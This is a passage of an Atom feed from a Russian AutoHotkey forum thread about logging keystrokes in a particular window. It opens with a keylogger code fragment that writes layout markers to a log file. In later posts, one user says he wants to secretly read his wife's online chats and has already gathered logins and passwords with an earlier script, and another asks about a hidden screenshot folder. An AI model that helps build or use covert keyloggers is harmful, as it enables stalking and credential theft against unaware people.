    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, хз2 , %logpath%
}
else
{
FileAppend, HZ2 , %logpath%
}
Return</code></pre></div>]]></content>
			<author>
				<name><![CDATA[ilya20069]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26683</uri>
			</author>
			<updated>2011-08-12T19:48:16Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50582#p50582</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=48298#p48298" />
			<content type="html"><![CDATA[<div class="quotebox"><cite>DnsIs пишет:</cite><blockquote><p>Если вдруг заинтерисуетесь могу рассказать как создать очень интересную папку в которой невозможно будет полазить и просмотреть файлы, но туда будут писаться скриншоты.</p></blockquote></div><p>Интересно, расскажите, конечно.</p>]]></content>
			<author>
				<name><![CDATA[JSmаn]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=24434</uri>
			</author>
			<updated>2011-05-10T20:11:57Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=48298#p48298</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=47985#p47985" />
			<content type="html"><![CDATA[<div class="quotebox"><cite>DaVinchi пишет:</cite><blockquote><div class="quotebox"><cite>pro100_AHK пишет:</cite><blockquote><p>Ну так можно или?<br />Просто потом очень долго перебирать данные которые вводились.<br />Лучше было бы что б писался сайт откуда данные...</p></blockquote></div><p>Цель данного топика была не Шпионаж за данными, а контроль общих действий в браузере! Меня к примеру не интересует пасс вводимый на почту! <img src="//forum.script-coding.com/img/smilies/smile.png" width="15" height="15" /></p></blockquote></div><p>Просто например, вот моя жена когда я на работе сидит дома и часто я ее вижу в онлайне в разных соц.сетях вот я и хочу узнать без ее ведома что и с кем она там переписуется!<br />А если спрошу у нее это будет розговора на целый вечер=)<br />И мне пришло много логинов и паролей от предыдущего скрипта вот только какой пароль и логи от даного сайта то это затруднения=(</p>]]></content>
			<author>
				<name><![CDATA[pro100_AHK]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26786</uri>
			</author>
			<updated>2011-05-01T11:15:24Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=47985#p47985</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=47982#p47982" />
			<content type="html"><![CDATA[<div class="quotebox"><cite>pro100_AHK пишет:</cite><blockquote><p>Ну так можно или?<br />Просто потом очень долго перебирать данные которые вводились.<br />Лучше было бы что б писался сайт откуда данные...</p></blockquote></div><p>Цель данного топика была не Шпионаж за данными, а контроль общих действий в браузере! Меня к примеру не интересует пасс вводимый на почту! <img src="//forum.script-coding.com/img/smilies/smile.png" width="15" height="15" /></p>]]></content>
			<author>
				<name><![CDATA[DaVinchi]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26386</uri>
			</author>
			<updated>2011-05-01T10:12:46Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=47982#p47982</id>
		</entry>
</feed>
